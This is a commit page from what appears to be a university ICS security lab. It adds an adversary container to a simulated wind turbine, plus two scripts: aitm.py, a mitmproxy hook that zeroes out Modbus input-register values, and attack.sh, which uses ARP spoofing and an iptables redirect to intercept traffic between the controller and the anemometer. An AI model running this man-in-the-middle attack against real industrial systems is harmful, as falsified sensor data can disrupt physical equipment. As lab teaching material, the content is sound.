Skip to content

Commit

Permalink
updated: new readme and configs for redoing the wind turbine
Browse files Browse the repository at this point in the history
  • Loading branch information
dnkcom committed Nov 12, 2024
1 parent 2cd11d6 commit a9ee54f
Show file tree
Hide file tree
Showing 4 changed files with 96 additions and 48 deletions.
39 changes: 3 additions & 36 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,40 +1,7 @@
# Model Familiarity and Initial Analysis (branch-00)
# Previous wind turbine (branch-00)

In this branch, you will confirm access to:
Re-familiarize yourself with the wind turbine from the last lab. Recall, it has an adversary container and a Grafana container for ground truth.

* Grafana dashboard and Node-RED HMI
* Wireshark container desktop
* VS Code configuration files

## Steps

1. Ensure all containers are running in the Gitpod workspace (_9_ containers).
2. Navigate to the public ports exposed by Gitpod for Grafana and Node-RED HMI.
* Copy the links provided on the Ports tab for Grafana and HMI to open separate browser tabs.
* For Node-RED HMI, use the primary URL and add `/ui` to the path.
* For Grafana, go to Dashboards > General > Turbine.
3. Navigate to the public port exposed by Gitpod for the `wireshark` container.
* Use the primary URL and add `/vnc.html` to the path.
* Copy the provided links on the Ports tab for Wireshark to open a separate browser tab.
* Click the `Connect` button in the NoVNC dialogue.
* If Wireshark is not running, start it from the desktop.
* Capture traffic on an interface starting with `br-`.
4. Locate the relevant configuration files in the `configs/ot-sim` directory.

## After completing the above steps, you should work to:

* Describe the system’s architecture.
* Are you able to describe what the containers are functioning as in context of a larger wind turbine system?
* Identify main communication patterns, particularly Modbus.
* Who is talking the loudest and the most?
* Who are they talking to?
* What else stands out to you in the communications between containers?
* Determine the controller’s responsibilities.
* Are you able to determine what the controller is responsible for in the overall context of the system?

## The following are available to you to assist in the above data gathering:

* Traffic analysis tools (the Wireshark container)
* Initial configuration files
In the next branch, you will set up this wind turbine in a larger wind farm. Change the two `{{FIX_ME}}` entries in the URL below with the values provided by your instructor. Then, start the next branch.

> There will be a Q&A session at the module’s end. Stop the current Gitpod workspace and deploy the next branch in Gitpod using this URL: https://gitpod.io/HOSTNAME={{FIX_ME}},OTSIM_TAILSCALE_AUTHKEY=tskey-auth-{{FIX_ME}}/https://github.com/patsec/uiuc-farm/tree/branch-01
44 changes: 32 additions & 12 deletions docker-compose.yml
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,27 @@ services:
volumes:
- ./configs/docker/tigervnc-wireshark.conf:/etc/supervisor/conf.d/tigervnc-wireshark.conf
- ./configs/docker/wireshark.conf:/etc/supervisor/conf.d/wireshark.conf
low-patriot:
adversary:
build:
context: .
dockerfile: ./Dockerfile.tools
image: ghcr.io/patsec/wind-turbine/tools:main
init: true
privileged: true # required for iptables to work
# sysctls: # uncomment this section if Docker host doesn't already have IP forwarding enabled
# - net.ipv4.ip_forward=1
# - net.ipv6.conf.all.forwarding=1
# - net.ipv4.conf.all.send_redirects=0
volumes:
- ./configs/docker/tigervnc-adversary.conf:/etc/supervisor/conf.d/tigervnc-adversary.conf
- ./scripts/aitm.py:/root/aitm.py
- ./scripts/attack.sh:/root/attack.sh
ports:
- 8090:8080
networks:
vpc:
ipv4_address: 10.11.12.200
main-controller:
image: ghcr.io/patsec/ot-sim/ot-sim:main
init: true
cap_add:
Expand All @@ -26,7 +46,7 @@ services:
volumes:
- /lib/modules:/lib/modules:ro # for Tailscale
- /dev/net/tun:/dev/net/tun # for Tailscale
- ./configs/ot-sim/low-patriot.xml:/etc/ot-sim/config.xml
- ./configs/ot-sim/main-controller.xml:/etc/ot-sim/config.xml
- ./configs/ot-sim/node-red.json:/etc/node-red.json
ports:
- 1880:1880
Expand All @@ -36,54 +56,54 @@ services:
networks:
vpc:
ipv4_address: 10.11.12.100
alpine-eclipse:
yaw-controller:
image: ghcr.io/patsec/ot-sim/ot-sim:main
init: true
depends_on:
- opensearch
volumes:
- ./configs/ot-sim/alpine-eclipse.xml:/etc/ot-sim/config.xml
- ./configs/ot-sim/yaw-controller.xml:/etc/ot-sim/config.xml
networks:
vpc:
ipv4_address: 10.11.12.101
exalted-bear:
anemometer:
image: ghcr.io/patsec/ot-sim/ot-sim:main
init: true
depends_on:
- opensearch
volumes:
- ./configs/ot-sim/exalted-bear.xml:/etc/ot-sim/config.xml
- ./configs/ot-sim/anemometer.xml:/etc/ot-sim/config.xml
- ./configs/ot-sim/weather.csv:/etc/ot-sim/data/weather.csv
networks:
vpc:
ipv4_address: 10.11.12.102
wavy-bird:
blade-1:
image: ghcr.io/patsec/ot-sim/ot-sim:main
init: true
depends_on:
- opensearch
volumes:
- ./configs/ot-sim/wavy-bird.xml:/etc/ot-sim/config.xml
- ./configs/ot-sim/blade-1.xml:/etc/ot-sim/config.xml
networks:
vpc:
ipv4_address: 10.11.12.103
odd-prodigy:
blade-2:
image: ghcr.io/patsec/ot-sim/ot-sim:main
init: true
depends_on:
- opensearch
volumes:
- ./configs/ot-sim/odd-prodigy.xml:/etc/ot-sim/config.xml
- ./configs/ot-sim/blade-2.xml:/etc/ot-sim/config.xml
networks:
vpc:
ipv4_address: 10.11.12.104
crazy-trader:
blade-3:
image: ghcr.io/patsec/ot-sim/ot-sim:main
init: true
depends_on:
- opensearch
volumes:
- ./configs/ot-sim/crazy-trader.xml:/etc/ot-sim/config.xml
- ./configs/ot-sim/blade-3.xml:/etc/ot-sim/config.xml
networks:
vpc:
ipv4_address: 10.11.12.105
Expand Down
50 changes: 50 additions & 0 deletions scripts/aitm.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
import struct

from mitmproxy import tcp

# mitm[proxy|dump] runs this for every raw TCP packet it receives.
def tcp_message(flow: tcp.TCPFlow):
# most recent message
latest = flow.messages[-1]

# is this a request or a response?
req = latest.from_client
# message body (use bytearray so we can modify it)
msg = bytearray(latest.content)

# make sure there's enough data to unpack the Modbus ADU/PDU
if len(msg) > 8:
tid, pid, length, uid, fc = struct.unpack(">HHHBB", msg[:8])
# ADU is always 7; last bit is length of rest of packet, including
# itself, so we end up subtracting one from the length to get end of
# packet.
end = 7 + length - 1

# start at 8 since we grabbed function code above
data = msg[8:end]

print(f'TID: {tid}')
print(f'PID: {pid}')
print(f'LEN: {length}')
print(f'UID: {uid}')
print(f'FC: {fc}')
print(f'DAT: {data}')

if not req:
# read input register, so we know what response should look like;
# count of values, then actual values (2 bits each).
if fc == 4:
count = int(msg[8])

start = 9
end = start + count

while start < end:
value, = struct.unpack(">H", msg[start:start+2])
print(f'VALUE: {int(value)}')

start += 2 # each value is 2 bits each

# replace values with 0
msg[9:end] = bytearray(b'\x00' * count)
flow.messages[-1].content = msg
11 changes: 11 additions & 0 deletions scripts/attack.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
#!/bin/bash

tmux new-session -d -s hack
tmux send 'iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 502 -j REDIRECT --to-port 9090' ENTER
tmux send 'mitmdump -p 9090 -m transparent -s /root/aitm.py' ENTER
tmux split-window -h
tmux send 'arpspoof -t 10.11.12.100 10.11.12.102' ENTER
tmux split-window
tmux send 'arpspoof -t 10.11.12.102 10.11.12.100' ENTER

tmux attach

0 comments on commit a9ee54f

Please sign in to comment.